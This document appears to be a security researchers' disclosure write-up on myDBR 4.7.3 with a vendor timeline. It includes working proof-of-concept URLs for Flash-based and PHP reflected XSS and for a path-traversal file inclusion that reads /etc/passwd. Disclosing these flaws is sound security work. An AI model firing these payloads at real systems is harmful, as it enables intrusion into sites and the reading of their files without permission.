myDBR is a product of Nocsos Ltd, a privately held company located in Espoo, Finland. myDBR is a web-based reporting system for MySQL, MariaDB, Microsoft SQL Server and Sybase databases. myDBR scales from personal database reporting tool to enterprise business intelligence system. Creating and maintaining reports with myDBR is fast, fun, and productive.
During a classified pentest of a client, we identified an instance of myDBR (4.7.3/3215) in the infrastructure of that client. The myDBR portal was available on a web facing domain and at that moment there was no security advisory of this application. So, we the R&D team of Beetles decided to test the application locally as the app was available for free download.
During our test, we encountered a lot of vulnerabilities, ranging from moderate to severe.
Difficulties
The downloaded source of the application was encoded by using a popular encoding tool, ionCube. So, it was not possible to go through the source code of the application. But, ionCube can be decoded and we did not take that path. Because that might violate the policy of using myDBR.
The landing page of the application is the login page. So, it seemed that there is no way to exploit the app without proper authentication. We tried to locate static files, which can be accessed without any authentication and tried to exploit them.
Vulnerabilities by category
- Multiple Flash based Cross Site Scripting.
- Reflected Cross Site Scripting on static PHP files.
- Local File Inclusion (4.6.1/2968).
- Information Disclosure.
There were a lot of XSS vulnerabilities and even RCE inside the application, which will affect the authenticated user. But, as the exploitation was depended on user authentication - we ignored that part and focused on abusing the application as an unauthenticated user.
1. Flash based reflected XSS by exploiting vulnerable copytoclipboard.swf file
CVSS: 5.76/10
An instance of an SWF object was identified on images/copytoclipboard.swf
location. We debugged the SWF file and noticed a function which was depending on flash.external.ExternalInterface.call
static function main() {
var _local2 = new Test(_root);
_root.myPicVar.onRelease = function (success) {
var _local3 = flash.external.ExternalInterface.call(_level0.js, _level0.id);
if (_local3 != null) {
System.setClipboard(_local3.toString());
getURL (("javascript:alert(\"" + _level0.alert) + "\");", "_self");
} else {
System.setClipboard("");
}
};
}
The SWF file was taking an external parameter id
and was rendering that inside the getURL
function. When we crafted a payload like \"))} catch(e) {alert(1);}//
as the value of id
parameter, it executed the script on user's click.
So the working PoC of this vulnerabilty stood as:
http://target.com//images/copytoclipboard.swf?id=\"))} catch(e) {alert(1);}//
The only cookie that determines the user identity is mydbr-id
and it is set with httponly
flag. Hence, it was not possible to directly steal user cookie by exploiting the reflected XSS.
The following header is an example of the cookie setting procedure of the application:
Set-Cookie: mydbr-id=tsnem621mu6lq7sl8ecqi0nq23;
expires=Tue, 14-Feb-2017 14:43:21 GMT;
path=/mydbr/; httponly
2. Flash based reflected XSS by exploiting vulnerable clipboard.swf file
CVSS: 5.76/10
During our investigation on the static files, we discovered the presence of an external syntax highlighting library in the following location:
/extensions/syntaxhighlighter/
The name reminded one of us about a popular (!) wordpress plugin vulnerability. Yes! you got that right. I am talking about the same syntaxhighlighter plugin of wordpress, which was reported to be vulnerable for a flash based XSS.
The vulnerable file was identified on /extensions/syntaxhighlighter/scripts/clipboard.swf
Following the standard working procedure, we debugged the SWF and started looking at the actionscript. The following function was still there, taking external parameters as argument and later process that on users click.
private function executeCommand(_arg1:String, _arg2:String=null):Object{
if (ExternalInterface.available){
return (ExternalInterface.call("SyntaxHighlighter.toolbar.executeCommand", null, null, _highlighterId, "copyToClipboard", {
command:_arg1,
message:_arg2
}));
};
return (null);
}
As we can see that the external parameter was highlighterId
, we used the same previous payload, \"))} catch(e) {alert(1);}//
to execute arbitrary javascript on the page.
So, the final PoC became:
http://target.com/extensions/syntaxhighlighter/scripts/clipboard.swf?highlighterId=\"))} catch(e) {alert(1);}//
3. Reflected XSS on sso_example.php
We did locate an instance of a static php file on /user/sso/sso_example.php
. The file was there to demonstrate a sample single sign on example.
The following part of the file was written on PHP, where the variables were set from $_REQUEST
variables.
$user = isset($_REQUEST['user']) ? $_REQUEST['user'] : 'ssouser' ;
$name = isset($_REQUEST['name']) ? $_REQUEST['name'] : 'Single Sign-On user' ;
$groups = isset($_REQUEST['groups']) ? $_REQUEST['groups'] : 'ssogroup1|ssogroup2' ;
$email = isset($_REQUEST['email']) ? $_REQUEST['email'] : '[email protected]' ;
$telephone = isset($_REQUEST['telephone']) ? $_REQUEST['telephone'] : '+358 123 2345' ;
$admin = isset($_REQUEST['admin']) ? $_REQUEST['admin'] : '0';
And the following part is the HTML part, where the application rendered the values of the following parameters without any sanitization:
$user
$name
$groups
$email
$telephone
<body>
<form action="<?php echo $_SERVER['PHP_SELF'];?>">
<div class="login">
<fieldset>
<ul>
<li><label class="right" style="font-weight:bold;">myDBR SSO login example</label></li>
<li>
<label for="u">User: </label><input id="u" type="text" name="user" value="<?php echo $user ?>">
<input id="ad" type="checkbox" name="admin" value="1" ><label class="right" for="ad">Admin</label></li>
<li>
<label for="n">Name: </label><input id="n" type="text" name="name" value="<?php echo $name ?>"></li>
<li>
<label for="e">Email: </label><input id="e" type="text" name="email" value="<?php echo $email ?>">
<input id="ne" type="checkbox" name="noemailchange" value="No" ><label class="right" for="ne">No changes to user's email</label></li>
<li>
<label for="e">Telephone: </label><input id="e" type="text" name="telephone" value="<?php echo $telephone ?>">
<input id="ne" type="checkbox" name="notelephonechange" value="No" ><label class="right" for="ne">No changes to user's telephone number</label></li>
<li>
<label for="g">Group(s): </label><input id="g" type="text" name="groups" value="<?php echo $groups ?>">
<input id="ng" type="checkbox" name="nogroupchange" value="No" ><label class="right" for="ng">No changes to user's groups</label>
</li>
<li>
<label for="extra1">Extra1: </label><input id="extra1" type="text" name="extra1" value="<?php echo $extra1 ?>">
<input id="noextra1" type="checkbox" name="noextra1" value="No" ><label class="right" for="noextra1">No extra information</label>
</li>
<li><label for="t">Token: </label><input id="t" class="wide" type="text" name="token" value="<?php echo $token ?>"></li>
<li><label for="url">Url: </label><input id="url" class="wide" type="text" name="mydbr_url" value="<?php echo $url ?>"></li>
<li><input type="submit" name="continue" value="Login"></li>
</ul>
</fieldset>
</div>
</form>
</body>
So any javascript payload as the value of afore mentioned parameters was rendered back to the page, causing a reflected XSS.
4. Reflected XSS in /user/export_header_pdf.php
We did identify a static PHP file (export_header_pdf.php) in /user/export
directory. The following chunk of the file looked interesting:
...
...
$header .= isset($_GET['header_title_style']) ? $_GET['header_title_style'] : '';
...
...
$header .= isset($_GET['header_title']) ? $_GET['header_title'] : '';
...
...
echo $header;
The file was receiving two parameters via GET method and was including them as the value of $header
variable. Later the $header
was rendering back to the page without any kind of sanitization.
So, by exploiting this feature a javascript injection was found to be possible by using payload on the following parameters:
- header_title_style
- header_title
5. LFI in /tools/localization.php through lang parameter.
This issue was identified on an older version (4.6.1/2968) of myDBR.
localization.php
file was ionCube encoded. So, it was not possible to identify the root cause of the vulnerability. But it was confirmed that the lang
parameter was there to fetch internal files.
In our test instance, the document_root of myDBR was /var/www/html/mydbr/
. Hence, the following payload returned the /etc/passwd
of our test server:
../../../../../../../../../etc/passwd%00
Thus the constructed PoC URL became:
http://target.com/mydbr/tools/localization.php?lang=../../../../../../../../../etc/passwd%00
6. License-key disclosure of ionCube
The ionCube license key was available for any remote user. The file can be accessed by navigating to
http://target.com/ioncube.txt
This file could be used to decode ionCube encoded files. This is a very low priority finding, because the files are available for free on the myDBR website.
Disclosure Timeline
15/02/2017 : Discoverd and Documented the vulnerabilities
16/02/2017 : Reported to vendor
16/02/2017 : Vendor acknowledged the reported findings and confirmed the patch on 4.7.4/3216. The vendor requrested to hold the blog post till the next stable release (4.8)
17/02/2017 : myDBR 4.8 released.